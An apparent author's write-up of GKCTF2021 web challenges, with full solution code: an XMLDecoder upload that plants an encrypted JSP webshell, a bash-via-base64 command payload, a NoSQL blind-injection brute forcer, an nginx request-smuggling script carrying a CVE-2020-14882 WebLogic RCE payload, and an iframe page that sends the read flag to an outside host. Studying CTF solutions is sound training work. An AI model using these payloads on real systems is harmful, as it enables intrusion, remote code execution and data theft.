GKCTF2021出题

源码以及dockerfile:https://github.com/w4nd3r-0/GKCTF2021

easycms

网上找了个后台getshell的cms哪来改改用了,当作签到题。

babycat

非预期:
首先是uploadServlet中doPost没权限校验导致guest也能直接传文件,其次在check函数后转发没返回,后面的代码依旧执行,造成了严重的非预期呜呜呜

if (checkExt(ext) || checkContent(item.getInputStream())){
    req.setAttribute("error","upload failed");
    req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req,resp);#这里后面应该return
}

所以只要上传jsp到web目录即可getshell,当时被一血我就感觉不对了呜呜呜,然后连忙去弄了revenge

预期解:
babycat-revenge做了修复(1.将db目录隐藏至WEB-INF 2.upload的post接口做了权限校验 3.修复了waf失效的问题)
首先需要登陆,点击register有一个not allowed的烟雾弹,但是源码中写出了传参方式

<script type="text/javascript">
    // var obj={};
    // obj["username"]='test';
    // obj["password"]='test';
    // obj["role"]='guest';
    function doRegister(obj){
        if(obj.username==null || obj.password==null){
            alert("用户名或密码不能为空");
        }else{
            var d = new Object();
            d.username=obj.username;
            d.password=obj.password;
            d.role="guest";

            $.ajax({
                url:"/register",
                type:"post",
                contentType: "application/x-www-form-urlencoded; charset=utf-8",
                data: "data="+JSON.stringify(d),
                dataType: "json",
                success:function(data){
                    alert(data)
                }
            });
        }
    }
</script>

先老实注册一个用户

data={"username":"bbb","password":"aaa","role":"test"}

登陆后当前用户为guest,也会发现upload需要admin访问,downtest处可以任意文件下载,并且根据web.xml可以一步步得到所有源码
image.png

文件目录
image.png

然后先关注怎么成为admin,看到com.web.servlet.registerServlet这里
image.png

接收data参数,然后正则匹配其中的

"role":"(.*?)"

并将最后一个匹配强制替换为了guest,这里由于是json库,并且是gson进行解析,于是可以在json中自由使用注释符/**/,所以payload可为

data={"username":"wander123","password":"12345","role":"admin"/*, "role": "test"*/} 
->替换后 
data={"username":"wander123","password":"12345","role":"admin"/*, "role": "guest"*/}

其实这里是看了这篇文章的思路:
https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities
里面说java的JSON-iterator库会使这一段

obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}

处理后的结果为:

description = "Duplicate with comments"

extra = "/*"

extra2 = "*/"

test = 1

但是奈何我网上找不到这个json-iterator迭代库的使用(找到了也一直复现不出来),索性就用了正则匹配了。所以这里可能解法很多

登录成为admin
image.png

然后uploadServlet那有白名单

String[] extWhiteList = {"jpg","png","gif","bak","properties","xml","html","xhtml","zip","gz","tar","txt"};

注意到这里能上传xml文件,而在操作数据库的com.web.dao.baseDao中有使用了xmldecoder来获取数据库信息

Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME")+"/webapps/ROOT/db/db.xml")).readObject();

并且上传只对后缀和文件内容做了过滤,那么就可以考虑路径穿越写入恶意的xml,然后触发xmldecoder反序列化
image.png

这里过了比较常见的xmldecoder需要用到的类,

String[] blackList = {"Runtime","exec","ProcessBuilder","jdbc","autoCommit"};

其实也不算啥waf,后来给了提示使用java.io.PrintWriter来写文件到static目录getshell(绝对路径可以通过读../../../../../../../proc/self/environ得知)
image.png
PrintWriter

POST /home/upload HTTP/1.1
Host: 192.168.135.131:8078
Content-Length: 1610
Origin: http://192.168.135.131:8078
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6hXaMhhzEhTBLWf2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: JSESSIONID=35BE608E654A74B00415B364549D139E
Connection: close

------WebKitFormBoundary6hXaMhhzEhTBLWf2
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: image/png

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
  <string>
   <![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
  </string>
 </void><void method="close"/>
 </object>
</java>
------WebKitFormBoundary6hXaMhhzEhTBLWf2--

也可以直接用实体编码绕过滤 (来自NaN)

<?xml version="1.0" encoding="UTF-8"?>
<java>
 <object class="java.lang.ProcessBuilder">
 <array class="java.lang.String" length="3">
 <void index="0">
 <string>/bin/bash</string>
 </void>
 <void index="1">
 <string>-c</string>
 </void>
 <void index="2">
<string>{echo,BASE64encodeHere}|{base64,-d}|{bash,-i}</string>
 </void>
 </array>
 <void method="start"/>
 </object>
</java>

覆盖之后找个地方调用了getConnection,登录注册都可以
然后连上/readflag即可
image.png

hackme

提示nosql盲注
image.png
这里过滤了regex/ne/eq字符,因为是json,所以可以用unicode来绕过
image.png

这里python中写\u0024会被转义成\\u0024,所以我用php的fsockopen发包了

<?php
function send($txt){
    $fp = fsockopen("172.17.135.33",7000,$errno,$errstr,30);
    if(!$fp){
        echo "$errstr ($errno)
\n";
    }else{
        $data=<<<EOF
POST /login.php HTTP/1.1
Host: 172.17.135.33:7000
Cookie: PHPSESSID=kgdpk7vadusalqkr1e7rb6dkct
Content-Length: %s
Connection: Close

%s
EOF;
        $d='{"username":{"$\u0065\u0071":"admin"},"password":{"$\u0072\u0065\u0067\u0065\u0078":"^%s"}}';
        $d=sprintf($d,$txt);
        $out=sprintf($data,strlen($d),$d);
        fwrite($fp,$out);
        $content = '';
        while(!feof($fp)){
            $content .= fgets($fp,128);
        }
        fclose($fp);
        if(stripos($content,"登录了,但没完全登录")){
            return $txt;
        }else{
            return "";
        }
    }
}
$pass = '';
$arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
for ($c=0; $c < 100; $c++) { 
    for ($i=0; $i < count($arr); $i++) { 
        $res = send($pass.$arr[$i]);
        if($res!==""){
            $pass=$res;
            print($pass);
            echo "\n";
            break;
        }
    }
}

image.png

得到密码42276606202db06ad1f29ab6b4a1307f,登录

image.png

info.php(这里我犯了个错,admin.php的跳转后面没die掉,不用登录也行,并且我手欠多加一个info.php使得有一个队的师傅用PHP_SESSION_UPLOAD_PROGRESS拿shell然后把后面的内网代理出来打了,确实厉害)

image.png

继续,可以猜测是通过php info.php执行的,/etc/passwd能读取文件
/flag发现提示flag在内网
image.png

这里没有ssrf的地方,结合提示"注意server和其配置文件"。那么首先去看server,burp抓一下返回包会发现server是nginx 1.17.6(在1.17.7之前版本中的error_page 存在走私漏洞)

https://v0w.top/2020/12/20/HTTPsmuggling/#5-1-%EF%BC%88CVE-2019-20372%EF%BC%89Nginx-error-page-%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81%E6%BC%8F%E6%B4%9E

先继续看他的配置文件,这里可以通过读/proc/self/environ得到当前目录/usr/local/nginx/html

nginx配置文件/usr/local/nginx/conf/nginx.conf,这里有个小细节是访问404的路由会自动跳转到404.php,符合error_page走私
image.png

发现nginx反代。其实http走私他只能访问同一个端口的web服务,不过正好可以用来打nginx反代

http {
    include       mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    #tcp_nopush     on;

    #keepalive_timeout  0;
    keepalive_timeout  65;

    server {
        listen       80;
        error_page 404 404.php;
        root /usr/local/nginx/html;
        index index.htm index.html index.php;
        location ~ \.php$ {
           root           /usr/local/nginx/html;
           fastcgi_pass   127.0.0.1:9000;
           fastcgi_index  index.php;
           fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
           include        fastcgi_params;
        }

    }

resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;

    # weblogic
    server {
        listen       80;
        server_name  weblogic;
        location / {
            proxy_set_header Host $host;
            set $backend weblogic;
            proxy_pass http://$backend:7001;
        }
    }
}

server_name是weblogic,尝试走私一下(这里用burp走私着实不太方便,我试好几下可能才走私一次。所以我下面用的socket)
注:图为本地环境
image.png

走私访问/console/login/LoginForm.jsp,payload为:

'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'

image.png

得到版本为12.2.1.4.0,使用CVE-2020-14882,%252e%252e绕过登录,回显exp直接打,socket发包

#!/usr/bin/env python3
import sys
import socket
import requests
import urllib.request

def request(content, hostname, port):
    print(content)

    def issue_request(server):
        assert server.send(content) == len(content)
        data = server.recv(1024)
        while len(data) > 0:
            print(data.decode())
            data = server.recv(1024)

    with socket.create_connection((hostname, port)) as raw_socket:
        issue_request(raw_socket)
        try:
            raw_socket.shutdown(socket.SHUT_RDWR)
        except Exception as e:
            pass

def encode(payload, hostname):
    offset = 5 + payload.count("\n")
    return (
        (firstRequest.format(hostname=hostname, length=len(payload) + offset) + payload)
        .replace("\n", "\r\n")
        .encode("utf-8")
    )

def main(hostname,port):

    payload = '''GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic

'''
    exp = '''/console/css/%252e%252e/consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();%27)'''
    payload = f"""GET """+exp+""" HTTP/1.1
Host: weblogic
cmd: /readflag
Connection: close

"""
    request(encode(payload, hostname), hostname, port)
    #ps:第一次访问先用第一个payload,然后再打第二个
if __name__ == "__main__":
    firstRequest = """GET /a HTTP/1.1
Host: {hostname}
Content-Length: {length}

"""
    hostname = "172.17.135.33"
    port = 7000
    main(hostname,port)

header头里执行/readflag即可
image.png

CheckBOT

这题本来是学弟弄了个csrf的题,结果tm的他弄不好还得要我加班,并且测试过程中因为这个bot遇到了很多问题,最恶心的就是bot的阻塞,所以临时改成了这样,这题0解很大原因可能就是bot网络访问太慢了(有想鲨我学弟的我可以代🔪,免费)
admin.php页面

<p id="flag"><?php
error_reporting(0);
$ip = $_SERVER["REMOTE_ADDR"];
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)===false) {
  echo exec('cat /flag');
}else{
  echo $ip;
}
?></p>

bot点击提交的URL访问文件触发js,判断是否是内网ip,vps上构造

<!DOCTYPE html>
<html>
  <body>
    <iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
  </body>
  <script>
    function load(){
        var p = parent.frames['flag'].contentWindow.document.body.getElementsByTagName("p")[0];
        var content = p.innerHTML;
        var iframe = document.createElement('iframe');
        iframe.src='http://ip:port/?data=' + btoa(content)
        document.body.appendChild(iframe);
    }
    window.onload = load;
  </script>
</html>

image.png

总结

java再也不用servlet了呜呜,说实话本来想出一道跟这个:http://w4nder.top/?p=434有关的题,但是感觉不好放到题里,做一道可能要开好几次靶机,就作罢了。还有这里推荐一个搭weblogic的docker:
https://github.com/QAX-A-Team/WeblogicEnvironment解决了我不少问题。再来就是cms,有时间一定要试试挖一个。最后是那个bot,最开始因为bot网络慢,所以直接while 1多线程,后面被赵总说是人工fork炸弹2333。
这里也挺感谢赵总的,因为部分docker在buu上有点"不兼容",例如hackme那题nginx内存给少了,weblogic一打就一直重启502等等,总之赵总辛苦。而且我自己开发也比较少,出现了很多非预期呜呜呜。

现在看去年出的题简直有点不堪入目,虽然今年也是...

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇